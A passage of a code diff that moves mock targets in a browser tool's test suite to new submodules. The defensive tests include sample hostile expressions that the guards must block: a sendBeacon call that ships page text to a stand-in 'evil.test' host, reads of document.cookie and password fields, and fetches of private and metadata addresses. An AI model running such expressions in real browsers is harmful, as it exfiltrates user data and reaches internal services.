patch("tools.browser_tool.cleanup_all_browsers") as mock_cleanup_all: - browser_tool._emergency_cleanup_all_sessions() + with patch("tools.browser_tool_lifecycle.cleanup_all_browsers") as mock_cleanup_all: + bt_lifecycle._emergency_cleanup_all_sessions() mock_cleanup_all.assert_called_once_with() assert browser_tool._active_sessions == {} @@ -133,7 +134,7 @@ class TestInactivityJanitorMultiplex: home_tok = set_hermes_home_override(str(p1)) scope_tok = secret_scope.set_secret_scope(secret_scope.build_profile_secret_scope(p1)) try: - self.bt._update_session_activity("t1") + bt_lifecycle._update_session_activity("t1") self.bt._active_sessions["t1"] = {"session_name": "s1", "bb_session_id": None} finally: secret_scope.reset_secret_scope(scope_tok) @@ -148,11 +149,11 @@ class TestInactivityJanitorMultiplex: return {"success": True} with ( - patch("tools.browser_tool._run_browser_command", side_effect=fake_close), + patch("tools.browser_tool_session._run_browser_command", side_effect=fake_close), patch("tools.browser_camofox._delete", return_value={}), patch("tools.browser_tool.os.path.exists", return_value=False), ): - self.bt._cleanup_inactive_browser_sessions() + bt_lifecycle._cleanup_inactive_browser_sessions() assert seen == {"home": str(p1), "url": "http://127.0.0.1:1"} assert "t1" not in self.bt._session_last_activity @@ -167,20 +168,20 @@ class TestInactivityJanitorMultiplex: provider = MagicMock() with ( - patch("tools.browser_tool.cleanup_browser", side_effect=RuntimeError("boom")), - patch("tools.browser_tool._get_cloud_provider", return_value=provider), + patch("tools.browser_tool_lifecycle.cleanup_browser", side_effect=RuntimeError("boom")), + patch("tools.browser_tool_cloud._get_cloud_provider", return_value=provider), patch("tools.browser_tool.os.path.exists", return_value=False), ): for _ in range(self.bt.MAX_INACTIVITY_CLEANUP_FAILURES - 1): - self.bt._cleanup_inactive_browser_sessions() + bt_lifecycle._cleanup_inactive_browser_sessions() # An activity touch must NOT reset the failure budget. - self.bt._update_session_activity("t1") + bt_lifecycle._update_session_activity("t1") self.bt._session_last_activity["t1"] = 1.0 assert self.bt._cleanup_failures["t1"] == self.bt.MAX_INACTIVITY_CLEANUP_FAILURES - 1 assert "t1" in self.bt._active_sessions provider.close_session.assert_not_called() - self.bt._cleanup_inactive_browser_sessions() + bt_lifecycle._cleanup_inactive_browser_sessions() provider.close_session.assert_called_once_with("bb-1") assert "t1" not in self.bt._active_sessions diff --git a/tests/tools/test_browser_cloud_fallback.py b/tests/tools/test_browser_cloud_fallback.py index 8b24c71cf3..953e9053d3 100644 --- a/tests/tools/test_browser_cloud_fallback.py +++ b/tests/tools/test_browser_cloud_fallback.py @@ -9,6 +9,8 @@ from unittest.mock import Mock import pytest import tools.browser_tool as browser_tool +from tools import browser_tool_session as bt_session +from tools import browser_tool_cloud as bt_cloud def _reset_session_state(monkeypatch): @@ -16,8 +18,8 @@ def _reset_session_state(monkeypatch): monkeypatch.setattr(browser_tool, "_active_sessions", {}) monkeypatch.setattr(browser_tool, "_cached_cloud_provider", None) monkeypatch.setattr(browser_tool, "_cloud_provider_resolved", False) - monkeypatch.setattr(browser_tool, "_start_browser_cleanup_thread", lambda: None) - monkeypatch.setattr(browser_tool, "_update_session_activity", lambda t: None) + monkeypatch.setattr("tools.browser_tool_lifecycle._start_browser_cleanup_thread", lambda: None) + monkeypatch.setattr("tools.browser_tool_lifecycle._update_session_activity", lambda t: None) class TestCloudProviderRuntimeFallback: @@ -29,10 +31,10 @@ class TestCloudProviderRuntimeFallback: provider = Mock() provider.create_session.side_effect = RuntimeError("401 Unauthorized") - monkeypatch.setattr(browser_tool, "_get_cloud_provider", lambda: provider) - monkeypatch.setattr(browser_tool, "_get_cdp_override", lambda: None) + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: provider) + monkeypatch.setattr("tools.browser_tool_cdp._get_cdp_override", lambda: None) - session = browser_tool._get_session_info("task-1") + session = bt_session._get_session_info("task-1") assert session["fallback_from_cloud"] is True assert "401 Unauthorized" in session["fallback_reason"] @@ -45,10 +47,10 @@ class TestCloudProviderRuntimeFallback: """When no cloud provider is configured, local mode is used with no fallback markers.""" _reset_session_state(monkeypatch) - monkeypatch.setattr(browser_tool, "_get_cloud_provider", lambda: None) - monkeypatch.setattr(browser_tool, "_get_cdp_override", lambda: None) + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: None) + monkeypatch.setattr("tools.browser_tool_cdp._get_cdp_override", lambda: None) - session = browser_tool._get_session_info("task-4") + session = bt_session._get_session_info("task-4") assert session["features"]["local"] is True assert "fallback_from_cloud" not in session @@ -60,10 +62,10 @@ class TestCloudProviderRuntimeFallback: provider = Mock() provider.create_session.return_value = None - monkeypatch.setattr(browser_tool, "_get_cloud_provider", lambda: provider) - monkeypatch.setattr(browser_tool, "_get_cdp_override", lambda: None) + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: provider) + monkeypatch.setattr("tools.browser_tool_cdp._get_cdp_override", lambda: None) - session = browser_tool._get_session_info("task-7") + session = bt_session._get_session_info("task-7") assert session["fallback_from_cloud"] is True assert "invalid session" in session["fallback_reason"] diff --git a/tests/tools/test_browser_cloud_provider_cache.py b/tests/tools/test_browser_cloud_provider_cache.py index 0df17f3372..b32acee157 100644 --- a/tests/tools/test_browser_cloud_provider_cache.py +++ b/tests/tools/test_browser_cloud_provider_cache.py @@ -15,6 +15,7 @@ from unittest.mock import Mock import pytest import tools.browser_tool as browser_tool +from tools import browser_tool_cloud as bt_cloud @pytest.fixture(autouse=True) @@ -44,8 +45,8 @@ class TestCloudProviderCachePolicy: resolutions.append(home) return providers[home] - monkeypatch.setattr(browser_tool, "_ensure_browser_plugins_loaded", lambda: None) - monkeypatch.setattr(browser_tool, "_registry_get_browser_provider", resolve) + monkeypatch.setattr("tools.browser_tool_cloud._ensure_browser_plugins_loaded", lambda: None) + monkeypatch.setattr("tools.browser_tool_cloud._registry_get_browser_provider", resolve) home_a = tmp_path / "browser-a" home_b = tmp_path / "browser-b" providers[str(home_a)] = Mock(name="provider-a") @@ -54,7 +55,7 @@ class TestCloudProviderCachePolicy: def resolve_for(home): token = set_hermes_home_override(home) try: - return browser_tool._get_cloud_provider() + return bt_cloud._get_cloud_provider() finally: reset_hermes_home_override(token) @@ -100,13 +101,13 @@ class TestCloudProviderCachePolicy: "hermes_cli.config.read_raw_config", lambda: {"browser": {"cloud_provider": "cache-replacement"}}, ) - monkeypatch.setattr(browser_tool, "_ensure_browser_plugins_loaded", lambda: None) + monkeypatch.setattr("tools.browser_tool_cloud._ensure_browser_plugins_loaded", lambda: None) token = set_hermes_home_override(home) try: browser_registry.register_provider(first, scope=home) - assert browser_tool._get_cloud_provider() is first + assert bt_cloud._get_cloud_provider() is first browser_registry.register_provider(second, scope=home) - assert browser_tool._get_cloud_provider() is second + assert bt_cloud._get_cloud_provider() is second finally: current = browser_registry.snapshot_registration( "cache-replacement", scope=home @@ -171,14 +172,14 @@ class TestCloudProviderCachePolicy: "hermes_cli.config.read_raw_config", lambda: {"browser": {"cloud_provider": "cache-race"}}, ) - monkeypatch.setattr(browser_tool, "_ensure_browser_plugins_loaded", lambda: None) - monkeypatch.setattr(browser_tool, "_registry_get_browser_provider", racing_get) + monkeypatch.setattr("tools.browser_tool_cloud._ensure_browser_plugins_loaded", lambda: None) + monkeypatch.setattr("tools.browser_tool_cloud._registry_get_browser_provider", racing_get) browser_registry.register_provider(first, scope=home) def resolve(): token = set_hermes_home_override(home) try: - return browser_tool._get_cloud_provider() + return bt_cloud._get_cloud_provider() finally: reset_hermes_home_override(token) @@ -205,7 +206,7 @@ class TestCloudProviderCachePolicy: lambda: {"browser": {"cloud_provider": "local"}}, ) - assert browser_tool._get_cloud_provider() is None + assert bt_cloud._get_cloud_provider() is None assert browser_tool._cloud_provider_resolved is True # Even if config later changes, the cache stays. @@ -213,7 +214,7 @@ class TestCloudProviderCachePolicy: "hermes_cli.config.read_raw_config", lambda: {"browser": {"cloud_provider": "browser-use"}}, ) - assert browser_tool._get_cloud_provider() is None + assert bt_cloud._get_cloud_provider() is None def test_no_credentials_yet_does_not_cache_none(self, monkeypatch): @@ -228,21 +229,21 @@ class TestCloudProviderCachePolicy: bb_unconfigured = Mock() bb_unconfigured.is_available.return_value = False monkeypatch.setattr( - browser_tool, "BrowserUseProvider", lambda: bu_unconfigured + "tools.browser_tool_cloud.BrowserUseBrowserProvider", lambda: bu_unconfigured ) monkeypatch.setattr( - browser_tool, "BrowserbaseProvider", lambda: bb_unconfigured + "tools.browser_tool_cloud.BrowserbaseBrowserProvider", lambda: bb_unconfigured ) - assert browser_tool._get_cloud_provider() is None + assert bt_cloud._get_cloud_provider() is None assert browser_tool._cloud_provider_resolved is False # Credentials self-heal — next call must retry and pick up the provider. healed = Mock(name="healed-provider") healed.is_available.return_value = True - monkeypatch.setattr(browser_tool, "BrowserUseProvider", lambda: healed) + monkeypatch.setattr("tools.browser_tool_cloud.BrowserUseBrowserProvider", lambda: healed) - assert browser_tool._get_cloud_provider() is healed + assert bt_cloud._get_cloud_provider() is healed assert browser_tool._cloud_provider_resolved is True @@ -262,7 +263,7 @@ class TestCloudProviderCachePolicy: ) with caplog.at_level(logging.WARNING, logger="tools.browser_tool"): - assert browser_tool._get_cloud_provider() is None + assert bt_cloud._get_cloud_provider() is None assert browser_tool._cloud_provider_resolved is False assert any( diff --git a/tests/tools/test_browser_console.py b/tests/tools/test_browser_console.py index fc5c4ab71e..d8afb8664a 100644 --- a/tests/tools/test_browser_console.py +++ b/tests/tools/test_browser_console.py @@ -37,7 +37,7 @@ class TestBrowserConsole: }, } - with patch("tools.browser_tool._run_browser_command") as mock_cmd: + with patch("tools.browser_tool_session._run_browser_command") as mock_cmd: mock_cmd.side_effect = [console_response, errors_response] result = json.loads(browser_console(task_id="test")) @@ -52,7 +52,7 @@ class TestBrowserConsole: from tools.browser_tool import browser_console empty = {"success": True, "data": {"messages": [], "errors": []}} - with patch("tools.browser_tool._run_browser_command", return_value=empty) as mock_cmd: + with patch("tools.browser_tool_session._run_browser_command", return_value=empty) as mock_cmd: browser_console(clear=True, task_id="test") calls = mock_cmd.call_args_list @@ -73,7 +73,7 @@ class TestBrowserConsole: "success": True, "data": {"errors": [{"message": f"Uncaught auth {fake_key}"}]}, } - with patch("tools.browser_tool._run_browser_command") as mock_cmd: + with patch("tools.browser_tool_session._run_browser_command") as mock_cmd: mock_cmd.side_effect = [console_response, errors_response] result = json.loads(browser_console(task_id="test")) @@ -92,7 +92,7 @@ class TestBrowserConsole: fake_key = "ghp_" + "BROWSEREVALSECRET1234567890" with patch("tools.browser_tool._last_session_key", return_value="test"), \ patch("tools.browser_tool._is_camofox_mode", return_value=False), \ - patch("tools.browser_tool._run_browser_command", return_value={"success": True, "data": {"result": fake_key}}): + patch("tools.browser_tool_session._run_browser_command", return_value={"success": True, "data": {"result": fake_key}}): result = json.loads(_browser_eval("document.body.innerText", task_id="test")) assert result["success"] is True @@ -127,8 +127,8 @@ class TestBrowserConsole: def test_expression_blocks_cookie_access_before_eval(self): from tools.browser_tool import browser_console - with patch("tools.browser_tool._restrict_browser_evaluate", return_value=True), \ - patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \ + with patch("tools.browser_tool_eval_policy._restrict_browser_evaluate", return_value=True), \ + patch("tools.browser_tool_eval_policy._allow_unsafe_browser_evaluate", return_value=False), \ patch("tools.browser_tool._browser_eval") as mock_eval: result = json.loads(browser_console(expression="document.cookie", task_id="test")) @@ -149,8 +149,8 @@ class TestBrowserConsole: "navigator.sendBeacon('https://evil.test', document.body.innerText)", "document.querySelector('input[type=password]').value", ] - with patch("tools.browser_tool._restrict_browser_evaluate", return_value=True), \ - patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \ + with patch("tools.browser_tool_eval_policy._restrict_browser_evaluate", return_value=True), \ + patch("tools.browser_tool_eval_policy._allow_unsafe_browser_evaluate", return_value=False), \ patch("tools.browser_tool._browser_eval") as mock_eval: for expr in risky_expressions: result = json.loads(browser_console(expression=expr, task_id="test")) @@ -161,7 +161,7 @@ class TestBrowserConsole: def test_restrict_evaluate_reads_browser_config(self): - from tools.browser_tool import _restrict_browser_evaluate + from tools.browser_tool_eval_policy import _restrict_browser_evaluate with patch("hermes_cli.config.read_raw_config", return_value={"browser": {"restrict_evaluate": "true"}}): assert _restrict_browser_evaluate() is True @@ -227,8 +227,8 @@ class TestBrowserVisionAnnotate: from tools.browser_tool import browser_vision with ( - patch("tools.browser_tool._run_browser_command") as mock_cmd, - patch("tools.browser_tool.call_llm") as mock_call_llm, + patch("tools.browser_tool_session._run_browser_command") as mock_cmd, + patch("agent.auxiliary_client.call_llm") as mock_call_llm, patch("tools.browser_tool._get_vision_model", return_value="test-model"), ): mock_cmd.return_value = {"success": True, "data": {}} @@ -262,11 +262,11 @@ class TestBrowserVisionConfig: with ( patch("hermes_constants.get_hermes_dir", return_value=shots_dir), - patch("tools.browser_tool._cleanup_old_screenshots"), - patch("tools.browser_tool._run_browser_command", return_value={"success": True, "data": {"path": str(screenshot)}}), + patch("tools.browser_tool_lifecycle._cleanup_old_screenshots"), + patch("tools.browser_tool_session._run_browser_command", return_value={"success": True, "data": {"path": str(screenshot)}}), patch("tools.browser_tool._get_vision_model", return_value="test-model"), patch("hermes_cli.config.load_config", return_value={"auxiliary": {"vision": {"temperature": 1, "timeout": 45}}}), - patch("tools.browser_tool.call_llm", return_value=mock_response) as mock_llm, + patch("agent.auxiliary_client.call_llm", return_value=mock_response) as mock_llm, ): result = json.loads(browser_vision("what is on the page?", task_id="test")) @@ -290,9 +290,9 @@ class TestBrowserVisionConfig: try: with ( patch("hermes_constants.get_hermes_dir", return_value=shots_dir), - patch("tools.browser_tool._cleanup_old_screenshots"), + patch("tools.browser_tool_lifecycle._cleanup_old_screenshots"), patch( - "tools.browser_tool._run_browser_command", + "tools.browser_tool_session._run_browser_command", return_value={ "success": True, "data": {"path": str(screenshot), "annotations": annotations}, @@ -303,7 +303,7 @@ class TestBrowserVisionConfig: return_value={"model": {"supports_vision": True}}, ), patch("tools.browser_tool._get_vision_model") as mock_get_vision_model, - patch("tools.browser_tool.call_llm") as mock_llm, + patch("agent.auxiliary_client.call_llm") as mock_llm, ): result = browser_vision("what is on the page?", annotate=True, task_id="test") finally: @@ -347,9 +347,9 @@ class TestBrowserVisionConfig: try: with ( patch("hermes_constants.get_hermes_dir", return_value=shots_dir), - patch("tools.browser_tool._cleanup_old_screenshots"), + patch("tools.browser_tool_lifecycle._cleanup_old_screenshots"), patch( - "tools.browser_tool._run_browser_command", + "tools.browser_tool_session._run_browser_command", return_value={ "success": True, "data": {"path": str(screenshot)}, @@ -359,7 +359,7 @@ class TestBrowserVisionConfig: "hermes_cli.config.load_config", return_value={"model": {"supports_vision": True}}, ), - patch("tools.browser_tool.call_llm") as mock_llm, + patch("agent.auxiliary_client.call_llm") as mock_llm, ): result = browser_vision("what is on the page?", task_id="test") finally: @@ -395,9 +395,9 @@ class TestBrowserVisionConfig: try: with ( patch("hermes_constants.get_hermes_dir", return_value=shots_dir), - patch("tools.browser_tool._cleanup_old_screenshots"), + patch("tools.browser_tool_lifecycle._cleanup_old_screenshots"), patch( - "tools.browser_tool._run_browser_command", + "tools.browser_tool_session._run_browser_command", return_value={"success": True, "data": {"path": str(screenshot)}}, ), patch( @@ -408,7 +408,7 @@ class TestBrowserVisionConfig: }, ), patch("tools.browser_tool._get_vision_model", return_value="test-model"), - patch("tools.browser_tool.call_llm", return_value=mock_response) as mock_llm, + patch("agent.auxiliary_client.call_llm", return_value=mock_response) as mock_llm, ): result = json.loads(browser_vision("what is on the page?", task_id="test")) finally: @@ -438,7 +438,7 @@ class TestRecordSessionsConfig: from tools.browser_tool import _maybe_stop_recording, _recording_sessions _recording_sessions.discard("test-task") # ensure not in set - with patch("tools.browser_tool._run_browser_command") as mock_cmd: + with patch("tools.browser_tool_session._run_browser_command") as mock_cmd: _maybe_stop_recording("test-task") mock_cmd.assert_not_called() diff --git a/tests/tools/test_browser_console_ssrf.py b/tests/tools/test_browser_console_ssrf.py index b40ab4d717..d2159bfab6 100644 --- a/tests/tools/test_browser_console_ssrf.py +++ b/tests/tools/test_browser_console_ssrf.py @@ -10,6 +10,8 @@ import json import pytest from tools import browser_tool +from tools import browser_tool_eval_policy as bt_eval_policy +from tools import browser_tool_session as bt_session PRIVATE_URL = "http://127.0.0.1:8080/internal" @@ -41,13 +43,13 @@ def _mock_run_success(monkeypatch): } } return {"success": True, "data": {}} - monkeypatch.setattr(browser_tool, "_run_browser_command", _run) + monkeypatch.setattr(bt_session, "_run_browser_command", _run) def test_blocks_console_on_private_page(monkeypatch): _mock_run_success(monkeypatch) - monkeypatch.setattr(browser_tool, "_eval_ssrf_guard_active", lambda tid: True) - monkeypatch.setattr(browser_tool, "_current_page_private_url", lambda tid: PRIVATE_URL) + monkeypatch.setattr(bt_eval_policy, "_eval_ssrf_guard_active", lambda tid: True) + monkeypatch.setattr(bt_eval_policy, "_current_page_private_url", lambda tid: PRIVATE_URL) result = json.loads(browser_tool.browser_console(task_id="test")) assert result["success"] is False @@ -57,8 +59,8 @@ def test_blocks_console_on_private_page(monkeypatch): def test_allows_console_on_public_page(monkeypatch): _mock_run_success(monkeypatch) - monkeypatch.setattr(browser_tool, "_eval_ssrf_guard_active", lambda tid: True) - monkeypatch.setattr(browser_tool, "_current_page_private_url", lambda tid: None) + monkeypatch.setattr(bt_eval_policy, "_eval_ssrf_guard_active", lambda tid: True) + monkeypatch.setattr(bt_eval_policy, "_current_page_private_url", lambda tid: None) result = json.loads(browser_tool.browser_console(task_id="test")) assert result["success"] is True @@ -68,7 +70,7 @@ def test_allows_console_on_public_page(monkeypatch): def test_skips_guard_for_local_backend(monkeypatch): _mock_run_success(monkeypatch) - monkeypatch.setattr(browser_tool, "_eval_ssrf_guard_active", lambda tid: False) + monkeypatch.setattr(bt_eval_policy, "_eval_ssrf_guard_active", lambda tid: False) result = json.loads(browser_tool.browser_console(task_id="test")) assert result["success"] is True @@ -77,7 +79,7 @@ def test_skips_guard_for_local_backend(monkeypatch): def test_skips_guard_when_private_urls_allowed(monkeypatch): _mock_run_success(monkeypatch) - monkeypatch.setattr(browser_tool, "_eval_ssrf_guard_active", lambda tid: False) + monkeypatch.setattr(bt_eval_policy, "_eval_ssrf_guard_active", lambda tid: False) result = json.loads(browser_tool.browser_console(task_id="test")) assert result["success"] is True @@ -88,9 +90,9 @@ def test_guard_does_not_block_on_failed_console_command(monkeypatch): """If the console command itself fails, browser_console returns the error naturally.""" def _run(task_id, command, args=None, **kwargs): return {"success": False, "error": "console fetch failed"} - monkeypatch.setattr(browser_tool, "_run_browser_command", _run) - monkeypatch.setattr(browser_tool, "_eval_ssrf_guard_active", lambda tid: True) - monkeypatch.setattr(browser_tool, "_current_page_private_url", lambda tid: PRIVATE_URL) + monkeypatch.setattr(bt_session, "_run_browser_command", _run) + monkeypatch.setattr(bt_eval_policy, "_eval_ssrf_guard_active", lambda tid: True) + monkeypatch.setattr(bt_eval_policy, "_current_page_private_url", lambda tid: PRIVATE_URL) result = json.loads(browser_tool.browser_console(task_id="test")) # When the page is private, the guard checks _current_page_private_url first. diff --git a/tests/tools/test_browser_eval_ssrf.py b/tests/tools/test_browser_eval_ssrf.py index ade969609d..fca2686f48 100644 --- a/tests/tools/test_browser_eval_ssrf.py +++ b/tests/tools/test_browser_eval_ssrf.py @@ -19,6 +19,9 @@ import json import pytest from tools import browser_tool +from tools import browser_tool_eval_policy as bt_eval_policy +from tools import browser_tool_cloud as bt_cloud +from tools import browser_tool_session as bt_session PRIVATE_URL = "http://127.0.0.1:8080/secret" @@ -44,9 +47,9 @@ def _eval(expression, task_id="test"): class TestExpressionPreScan: def _guard_on(self, monkeypatch): - monkeypatch.setattr(browser_tool, "_is_local_backend", lambda: False) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: False) monkeypatch.setattr(browser_tool, "_is_local_sidecar_key", lambda key: False) - monkeypatch.setattr(browser_tool, "_allow_private_urls", lambda: False) + monkeypatch.setattr(bt_cloud, "_allow_private_urls", lambda: False) def test_blocks_private_fetch_literal(self, monkeypatch): self._guard_on(monkeypatch) @@ -59,7 +62,7 @@ class TestExpressionPreScan: called["n"] += 1 return {"success": True, "data": {"result": "leaked-content"}} - monkeypatch.setattr(browser_tool, "_run_browser_command", _run) + monkeypatch.setattr(bt_session, "_run_browser_command", _run) result = _eval(f"fetch('{PRIVATE_URL}').then(r => r.text())") assert result["success"] is False @@ -77,7 +80,7 @@ class TestExpressionPreScan: lambda url: "169.254.169.254" in url, ) monkeypatch.setattr( - browser_tool, "_run_browser_command", + bt_session, "_run_browser_command", lambda *a, **k: {"success": True, "data": {"result": "creds"}}, ) @@ -91,7 +94,7 @@ class TestExpressionPreScan: monkeypatch.setattr(browser_tool, "_is_always_blocked_url", lambda url: False) # After the (public) eval, the page-URL recheck must also see a public URL. monkeypatch.setattr( - browser_tool, "_run_browser_command", + bt_session, "_run_browser_command", lambda task_id, command, args=None, **k: ( {"success": True, "data": {"result": PUBLIC_URL}} if args == ["window.location.href"] @@ -105,11 +108,11 @@ class TestExpressionPreScan: def test_skips_prescan_when_allow_private(self, monkeypatch): - monkeypatch.setattr(browser_tool, "_is_local_backend", lambda: False) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: False) monkeypatch.setattr(browser_tool, "_is_local_sidecar_key", lambda key: False) - monkeypatch.setattr(browser_tool, "_allow_private_urls", lambda: True) + monkeypatch.setattr(bt_cloud, "_allow_private_urls", lambda: True) monkeypatch.setattr( - browser_tool, "_run_browser_command", + bt_session, "_run_browser_command", lambda *a, **k: {"success": True, "data": {"result": "allowed"}}, ) result = _eval(f"fetch('{PRIVATE_URL}')") @@ -124,9 +127,9 @@ class TestExpressionPreScan: class TestCamofoxEvalGuard: def _guard_on(self, monkeypatch): monkeypatch.setattr(browser_tool, "_is_camofox_mode", lambda: True) - monkeypatch.setattr(browser_tool, "_is_local_backend", lambda: False) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: False) monkeypatch.setattr(browser_tool, "_is_local_sidecar_key", lambda key: False) - monkeypatch.setattr(browser_tool, "_allow_private_urls", lambda: False) + monkeypatch.setattr(bt_cloud, "_allow_private_urls", lambda: False) def test_camofox_blocks_private_fetch_literal_before_request(self, monkeypatch): self._guard_on(monkeypatch) @@ -202,9 +205,9 @@ class TestCamofoxEvalGuard: class TestPostEvalPageRecheck: def _guard_on(self, monkeypatch): - monkeypatch.setattr(browser_tool, "_is_local_backend", lambda: False) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: False) monkeypatch.setattr(browser_tool, "_is_local_sidecar_key", lambda key: False) - monkeypatch.setattr(browser_tool, "_allow_private_urls", lambda: False) + monkeypatch.setattr(bt_cloud, "_allow_private_urls", lambda: False) def test_blocks_when_page_navigated_private(self, monkeypatch): self._guard_on(monkeypatch) @@ -214,7 +217,7 @@ class TestPostEvalPageRecheck: monkeypatch.setattr(browser_tool, "_is_safe_url", lambda url: False) monkeypatch.setattr(browser_tool, "_is_always_blocked_url", lambda url: False) monkeypatch.setattr( - browser_tool, "_run_browser_command", + bt_session, "_run_browser_command", lambda task_id, command, args=None, **k: ( {"success": True, "data": {"result": PRIVATE_URL}} if args == ["window.location.href"] @@ -232,7 +235,7 @@ class TestPostEvalPageRecheck: monkeypatch.setattr(browser_tool, "_is_safe_url", lambda url: True) monkeypatch.setattr(browser_tool, "_is_always_blocked_url", lambda url: False) monkeypatch.setattr( - browser_tool, "_run_browser_command", + bt_session, "_run_browser_command", lambda task_id, command, args=None, **k: ( {"success": True, "data": {"result": PUBLIC_URL}} if args == ["window.location.href"] @@ -255,7 +258,7 @@ class TestPostEvalPageRecheck: return {"success": False, "error": "CDP probe failed"} return {"success": True, "data": {"result": "dom text"}} - monkeypatch.setattr(browser_tool, "_run_browser_command", _run) + monkeypatch.setattr(bt_session, "_run_browser_command", _run) result = _eval("document.body.innerText") assert result["success"] is True @@ -271,7 +274,7 @@ class TestExpressionScanHelper: def test_returns_first_private_literal(self, monkeypatch): monkeypatch.setattr(browser_tool, "_is_safe_url", lambda url: "127.0.0.1" not in url) monkeypatch.setattr(browser_tool, "_is_always_blocked_url", lambda url: False) - out = browser_tool._expression_targets_private_url( + out = bt_eval_policy._expression_targets_private_url( "fetch('https://example.com'); fetch('http://127.0.0.1/x')" ) assert out == "http://127.0.0.1/x" @@ -280,5 +283,5 @@ class TestExpressionScanHelper: def test_strips_trailing_punctuation(self, monkeypatch): monkeypatch.setattr(browser_tool, "_is_safe_url", lambda url: False) monkeypatch.setattr(browser_tool, "_is_always_blocked_url", lambda url: False) - out = browser_tool._expression_targets_private_url("location.href='http://10.0.0.1/';") + out = bt_eval_policy._expression_targets_private_url("location.href='http://10.0.0.1/';") assert out == "http://10.0.0.1/" diff --git a/tests/tools/test_browser_eval_supervisor_path.py b/tests/tools/test_browser_eval_supervisor_path.py index 2b0a003c77..a6d76559aa 100644 --- a/tests/tools/test_browser_eval_supervisor_path.py +++ b/tests/tools/test_browser_eval_supervisor_path.py @@ -11,6 +11,7 @@ import json from unittest.mock import MagicMock import pytest +from tools import browser_tool_session as bt_session # --------------------------------------------------------------------------- @@ -52,7 +53,7 @@ class TestBrowserEvalSupervisorPath: _patch_supervisor(monkeypatch, sup) # If the subprocess path is hit we want a loud failure. monkeypatch.setattr( - bt, "_run_browser_command", + bt_session, "_run_browser_command", lambda *a, **kw: pytest.fail("subprocess path must not run when supervisor is healthy"), ) @@ -74,7 +75,7 @@ class TestBrowserEvalSupervisorPath: } _patch_supervisor(monkeypatch, sup) monkeypatch.setattr( - bt, "_run_browser_command", + bt_session, "_run_browser_command", lambda *a, **kw: pytest.fail("subprocess path must not run"), ) @@ -101,7 +102,7 @@ class TestBrowserEvalSupervisorPath: "error": "Runtime.evaluate failed: Object reference chain is too long", } - monkeypatch.setattr(bt, "_run_browser_command", _fake_subprocess) + monkeypatch.setattr(bt_session, "_run_browser_command", _fake_subprocess) out = json.loads(bt._browser_eval("document.body")) assert out["success"] is False diff --git a/tests/tools/test_browser_extension_router.py b/tests/tools/test_browser_extension_router.py index 3ab857579f..cbbbbd6220 100644 --- a/tests/tools/test_browser_extension_router.py +++ b/tests/tools/test_browser_extension_router.py @@ -1,6 +1,7 @@ import pytest from tools.browser_extension_router import route_browser_tool, routed_browser_handler +from tools import browser_tool_install as bt_install class FakeBroker: @@ -317,7 +318,7 @@ def test_routeable_browser_tools_are_available_for_bound_extension_controller(mo """The extension route must not be stripped by legacy Browser Use checks.""" from tools import browser_tool - monkeypatch.setattr(browser_tool, "check_browser_requirements", lambda: False) + monkeypatch.setattr(bt_install, "check_browser_requirements", lambda: False) monkeypatch.setattr( browser_tool, "extension_controller_available", @@ -419,7 +420,7 @@ def test_routeable_browser_tools_preserve_legacy_gate_without_bound_identity(mon from tools import browser_tool monkeypatch.setattr(browser_control_broker, "browser_control_enabled", lambda: True) - monkeypatch.setattr(browser_tool, "check_browser_requirements", lambda: False) + monkeypatch.setattr(bt_install, "check_browser_requirements", lambda: False) assert browser_tool.check_browser_snapshot_requirements() is False @@ -446,7 +447,7 @@ def test_registry_advertises_snapshot_through_extension_when_legacy_backend_is_d from tools import browser_tool from tools.registry import registry - monkeypatch.setattr(browser_tool, "check_browser_requirements", lambda: False) + monkeypatch.setattr(bt_install, "check_browser_requirements", lambda: False) monkeypatch.setattr( browser_tool, "extension_controller_available", diff --git a/tests/tools/test_browser_get_images_ssrf.py b/tests/tools/test_browser_get_images_ssrf.py index 55efa4bc4f..8359d80035 100644 --- a/tests/tools/test_browser_get_images_ssrf.py +++ b/tests/tools/test_browser_get_images_ssrf.py @@ -13,6 +13,8 @@ import json import pytest from tools import browser_tool +from tools import browser_tool_eval_policy as bt_eval_policy +from tools import browser_tool_session as bt_session PRIVATE_URL = "http://127.0.0.1:8080/internal" IMAGES_JS_RESULT = json.dumps([ @@ -29,13 +31,13 @@ def _patches(monkeypatch): def _mock_run_success(monkeypatch): def _run(task_id, command, args=None, **kwargs): return {"success": True, "data": {"result": IMAGES_JS_RESULT}} - monkeypatch.setattr(browser_tool, "_run_browser_command", _run) + monkeypatch.setattr(bt_session, "_run_browser_command", _run) def test_blocks_images_on_private_page(monkeypatch): _mock_run_success(monkeypatch) - monkeypatch.setattr(browser_tool, "_eval_ssrf_guard_active", lambda tid: True) - monkeypatch.setattr(browser_tool, "_current_page_private_url", lambda tid: PRIVATE_URL) + monkeypatch.setattr(bt_eval_policy, "_eval_ssrf_guard_active", lambda tid: True) + monkeypatch.setattr(bt_eval_policy, "_current_page_private_url", lambda tid: PRIVATE_URL) result = json.loads(browser_tool.browser_get_images(task_id="test")) assert result["success"] is False @@ -45,8 +47,8 @@ def test_blocks_images_on_private_page(monkeypatch): def test_allows_images_on_public_page(monkeypatch): _mock_run_success(monkeypatch) - monkeypatch.setattr(browser_tool, "_eval_ssrf_guard_active", lambda tid: True) - monkeypatch.setattr(browser_tool, "_current_page_private_url", lambda tid: None) + monkeypatch.setattr(bt_eval_policy, "_eval_ssrf_guard_active", lambda tid: True) + monkeypatch.setattr(bt_eval_policy, "_current_page_private_url", lambda tid: None) result = json.loads(browser_tool.browser_get_images(task_id="test")) assert result["success"] is True @@ -56,7 +58,7 @@ def test_allows_images_on_public_page(monkeypatch): def test_skips_guard_for_local_backend(monkeypatch): _mock_run_success(monkeypatch) - monkeypatch.setattr(browser_tool, "_eval_ssrf_guard_active", lambda tid: False) + monkeypatch.setattr(bt_eval_policy, "_eval_ssrf_guard_active", lambda tid: False) result = json.loads(browser_tool.browser_get_images(task_id="test")) assert result["success"] is True @@ -65,7 +67,7 @@ def test_skips_guard_for_local_backend(monkeypatch): def test_skips_guard_when_private_urls_allowed(monkeypatch): 